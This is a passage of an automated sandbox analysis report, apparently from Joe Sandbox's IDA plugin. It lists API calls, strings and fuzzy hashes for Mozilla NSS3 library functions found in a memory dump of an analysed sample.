Part of subcall function 6D0209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D020B48
Part of subcall function 6D0209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D020C76
Part of subcall function 6D0209D0: PR_LogFlush.NSS3 ref: 6D020C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CF42D22

Part of subcall function 6D0209D0: OutputDebugStringA.KERNEL32(?), ref: 6D020B88
Part of subcall function 6D0209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6D020C5D
Part of subcall function 6D0209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?), ref: 6D020C8D
Part of subcall function 6D0209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D020C9C
Part of subcall function 6D0209D0: OutputDebugStringA.KERNEL32(?), ref: 6D020CD1
Part of subcall function 6D0209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,?), ref: 6D020CEC
Part of subcall function 6D0209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D020CFB
Part of subcall function 6D0209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D020D16
Part of subcall function 6D0209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?), ref: 6D020D26
Part of subcall function 6D0209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D020D35
Part of subcall function 6D0209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6D020D65
Part of subcall function 6D0209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6D020D70
Part of subcall function 6D0209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D020D90
Part of subcall function 6D0209D0: free.MOZGLUE(00000000), ref: 6D020D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CF42D3B

Part of subcall function 6D0209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,?), ref: 6D020BAB
Part of subcall function 6D0209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D020BBA
Part of subcall function 6D0209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D020D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CF42D54

Part of subcall function 6D0209D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D020BCB
Part of subcall function 6D0209D0: EnterCriticalSection.KERNEL32(?), ref: 6D020BDE
Part of subcall function 6D0209D0: OutputDebugStringA.KERNEL32(?), ref: 6D020C16

Strings

pLabel = 0x%p, xrefs: 6CF42D4F
ulPinLen = %d, xrefs: 6CF42D36
pPin = 0x%p, xrefs: 6CF42D1D
C_InitToken, xrefs: 6CF42CE7
slotID = 0x%x, xrefs: 6CF42D02

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 5a06628e02313eae887dab4ec023980c05ed28f57e0f6385fe5346efddeeb4da
Instruction ID: 3bf98c773e6ecce3bd589792d577e32820486786b19effcff68f1b37e8446802
Opcode Fuzzy Hash: 5a06628e02313eae887dab4ec023980c05ed28f57e0f6385fe5346efddeeb4da
Instruction Fuzzy Hash: 0F219075505214EFEB10AB64DD58B593FB1EB8332DF058134EA08EB223DB728854CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF84DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CF84DCB

Part of subcall function 6CF70FF0: calloc.MOZGLUE(?,00000024,00000000,?,?,6CF187ED,00000800,6CF0EF74,00000000), ref: 6CF71000
Part of subcall function 6CF70FF0: PR_NewLock.NSS3(?,00000800,6CF0EF74,00000000), ref: 6CF71016
Part of subcall function 6CF70FF0: PL_InitArenaPool.NSS3(00000000,security,6CF187ED,00000008,?,00000800,6CF0EF74,00000000), ref: 6CF7102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CF84DE1

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CF84DFF
SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF84E59

Part of subcall function 6CF6FAB0: free.MOZGLUE(?,-00000001,?,?,6CF0F673,00000000,00000000), ref: 6CF6FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D04300C,00000000), ref: 6CF84EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CF84EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CF84F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF8521A

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 8c8467aeffd247e7be3eecce01bc0a70032ad00f28715a48ab36fe7977235da5
Instruction ID: 171fbdb830e8a5e1b5ee15ddff11f212ee1451939a154c5a4634331ce5f88ce0
Opcode Fuzzy Hash: 8c8467aeffd247e7be3eecce01bc0a70032ad00f28715a48ab36fe7977235da5
Instruction Fuzzy Hash: B5F18D71E0220ACBEB04CF54D8507AEBBB2BF44358F258169E915AB781E775E981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CFBAD70 Relevance: 16.7, APIs: 11, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBADB9
PORT_ZAlloc_Util.NSS3(00000040), ref: 6CFBADDA
PR_NewMonitor.NSS3 ref: 6CFBADF1
PK11_KeyGen.NSS3 ref: 6CFBAE43
memset.VCRUNTIME140(?,000000FF,00000001), ref: 6CFBAEBC
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFBAEF4
PR_DestroyMonitor.NSS3(?), ref: 6CFBAF19
PK11_FreeSymKey.NSS3(?), ref: 6CFBAF2B
free.MOZGLUE(00000001), ref: 6CFBAF4A
free.MOZGLUE(?), ref: 6CFBAF67
free.MOZGLUE(?), ref: 6CFBAF71

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$ErrorK11_Monitor$Alloc_DestroyFreeUtilmemset
String ID:
API String ID: 2030243345-0
Opcode ID: 1a0e4fe00984c661031b31ac3ed8f7ceb00c67dc256e43a3261b6c7c33dc5558
Instruction ID: 82551eb607fe4a80a8b5c980af168f6379e8450829d4952738b0970c48c105f6
Opcode Fuzzy Hash: 1a0e4fe00984c661031b31ac3ed8f7ceb00c67dc256e43a3261b6c7c33dc5558
Instruction Fuzzy Hash: 1E51E1B1A007018BEB10DF3ACC4579BB7E4EF8420CF144528E85AE7B51EB31E855CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF80C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CF82C2A), ref: 6CF80C81

Part of subcall function 6CF6BE30: SECOID_FindOID_Util.NSS3(6CF2311B,00000000,?,6CF2311B,?), ref: 6CF6BE44

Part of subcall function 6CF58500: SECOID_GetAlgorithmTag_Util.NSS3(6CF595DC,00000000,00000000,00000000,?,6CF595DC,00000000,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF58517

SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF80CC4

Part of subcall function 6CF6FAB0: free.MOZGLUE(?,-00000001,?,?,6CF0F673,00000000,00000000), ref: 6CF6FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CF80CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CF80D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CF80D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CF80D7D
free.MOZGLUE(00000000), ref: 6CF80DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF80DC1
free.MOZGLUE(00000000), ref: 6CF80DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CF80E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CF80E0F

Part of subcall function 6CF595C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF595E0
Part of subcall function 6CF595C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF595F5
Part of subcall function 6CF595C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CF59609
Part of subcall function 6CF595C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CF5961D
Part of subcall function 6CF595C0: PK11_GetInternalSlot.NSS3 ref: 6CF5970B
Part of subcall function 6CF595C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CF59756
Part of subcall function 6CF595C0: PK11_GetIVLength.NSS3(?), ref: 6CF59767
Part of subcall function 6CF595C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CF5977E
Part of subcall function 6CF595C0: SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF5978E

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 8d509e9151e36f6b67d2b93ff0ec5389a507a65a9809ac03cee80d43bdcd98dc
Instruction ID: 820f395613f7b138f58e6d453ab638a541a2aa98f19c08fddb67608fd6989512
Opcode Fuzzy Hash: 8d509e9151e36f6b67d2b93ff0ec5389a507a65a9809ac03cee80d43bdcd98dc
Instruction Fuzzy Hash: A44106B2902245ABEB009F64DC41BEF7A74EF0130CF504124ED1967742EB71EA54CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6CFB3EC0 Relevance: 16.6, APIs: 11, Instructions: 142threadCOMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(C0314D75,8AE85608,83FFFF1E,00000000,6CFAFACF,?,FFFFFFFF,?,6CFB3E7E), ref: 6CFB3F47
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6CFB3F5A
SECITEM_ZfreeItem_Util.NSS3(6CFB0463,00000000), ref: 6CFB3F79
PORT_FreeArena_Util.NSS3(31CB8948,00000000,6CFAFACF), ref: 6CFB3F97
SECKEY_DestroyPrivateKey.NSS3(86C70C5D), ref: 6CFB3FD7
PK11_DigestOp.NSS3(C0314D75,8AE85608,83FFFF1E), ref: 6CFB4009
PR_GetCurrentThread.NSS3 ref: 6CFB4034
PR_SetError.NSS3(?,00000000), ref: 6CFB403E
PR_GetCurrentThread.NSS3(6CFAFACF), ref: 6CFB4046
PR_SetError.NSS3(?,00000000,6CFAFACF), ref: 6CFB405E
PR_GetCurrentThread.NSS3(6CFAFACF), ref: 6CFB4080

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CurrentErrorThread$DigestK11_Util$Arena_DestroyFreeItem_PrivateZfree
String ID:
API String ID: 3868584822-0
Opcode ID: e9abd1481d7717ce37f5808b92ee0a69f5353ce01e552ba550f7a6c158e31693
Instruction ID: 22b417dae2d116cc7db5eeab9e27512b01e5373fa4d3cb05a731e05e71b72588
Opcode Fuzzy Hash: e9abd1481d7717ce37f5808b92ee0a69f5353ce01e552ba550f7a6c158e31693
Instruction Fuzzy Hash: D44106716417009BE7208B77DE40BDB76F89F8034CF14052DE99AA7E91EBB1B54CC652

Uniqueness

Uniqueness Score: -1.00%

Function 6CFB3C40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150stringthreadCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB3C6F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB3C7A
PR_snprintf.NSS3(?,00000064,%s %s,?,?), ref: 6CFB3CA0
PR_GetCurrentThread.NSS3 ref: 6CFB3CC1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB3D4A
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFB3DD9

Strings

%s %s, xrefs: 6CFB3C98

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: strlen$CurrentErrorR_snprintfThread
String ID: %s %s
API String ID: 3630970826-2939940506
Opcode ID: fae18bbacd714a36e15e1ab8fb0d6537fc977fc428bf01e348206d04de9c54ac
Instruction ID: 6d0cdc8e02e93c9f26e6dd6ed9aada836b917035131c87ba25597894882da6f5
Opcode Fuzzy Hash: fae18bbacd714a36e15e1ab8fb0d6537fc977fc428bf01e348206d04de9c54ac
Instruction Fuzzy Hash: BD41DD75A412189BFB108F6ACC80FEA77B5EF49308F140275E909A7791DB31A948CA61

Uniqueness

Uniqueness Score: -1.00%

Function 6CF2FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CF2FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CF2FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CF2FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF2FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CF2FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CF2FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CF2FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF2FD84

Strings

:, xrefs: 6CF2FD78

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: f2c25e879990d8071e02908424ec7fe0b6ac9cbd945d04a741290fd9a9bc9b02
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 8B31FCB2D512259BEB408AF4EC01BAF77A8AF40718F550125DD04E7601E37AEA08C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF46C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CF46C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF46C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF46CA3

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF46CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CF46CD5

Strings

hSession = 0x%x, xrefs: 6CF46C7E, 6CF46C8E
C_DigestInit, xrefs: 6CF46C61
pMechanism = 0x%p, xrefs: 6CF46CD0
(CK_INVALID_HANDLE), xrefs: 6CF46C9C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 6d7f240e0851e28c42df4eb1281bbe806298db1367da6d1eb61e7fe8c45e80b1
Instruction ID: a398b0a2c054901dc70db10e8c9719dddb1ad98d1707effae529719510c38006
Opcode Fuzzy Hash: 6d7f240e0851e28c42df4eb1281bbe806298db1367da6d1eb61e7fe8c45e80b1
Instruction Fuzzy Hash: BF21E6319052249FEB109F65DD48F9E3BB5EB4331DF058029F609AB653DB309948C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF49DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CF49DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF49E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF49E33

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF49E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CF49E65

Strings

C_SessionCancel, xrefs: 6CF49DF1
hSession = 0x%x, xrefs: 6CF49E0E, 6CF49E1E
flags = 0x%x, xrefs: 6CF49E60
(CK_INVALID_HANDLE), xrefs: 6CF49E2C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: b1997f761f96d77ed434c1f79ec04f4c880e9e1bf0ec5fe7e8e6ca8f8f31dc57
Instruction ID: ae01c36a3d820434014d07a9b7ee2a5c7d0673f27cb98266c088444bd170eeae
Opcode Fuzzy Hash: b1997f761f96d77ed434c1f79ec04f4c880e9e1bf0ec5fe7e8e6ca8f8f31dc57
Instruction Fuzzy Hash: 1721D671606225AFE7109B64DD84FAA3BB9EB4371DF058025E909BB253DF309D48C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF16DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CF17D8F,6CF17D8F,?,?), ref: 6CF16DC8

Part of subcall function 6CF6FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CF6FE08
Part of subcall function 6CF6FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CF6FE1D
Part of subcall function 6CF6FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CF6FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CF17D8F,?,?), ref: 6CF16DD5

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D038FA0,00000000,?,?,?,?,6CF17D8F,?,?), ref: 6CF16DF7

Part of subcall function 6CF6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0418D0,?), ref: 6CF6B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CF16E35

Part of subcall function 6CF6FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CF6FE29
Part of subcall function 6CF6FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CF6FE3D
Part of subcall function 6CF6FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CF6FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CF16E4C

Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D038FE0,00000000), ref: 6CF16E82

Part of subcall function 6CF16AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CF1B21D,00000000,00000000,6CF1B219,?,6CF16BFB,00000000,?,00000000,00000000,?,?,?,6CF1B21D), ref: 6CF16B01
Part of subcall function 6CF16AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CF16B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CF16F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CF16F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D038FE0,00000000), ref: 6CF16F6B
PR_SetError.NSS3(FFFFE005,00000000,6CF17D8F,?,?), ref: 6CF16FE1

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

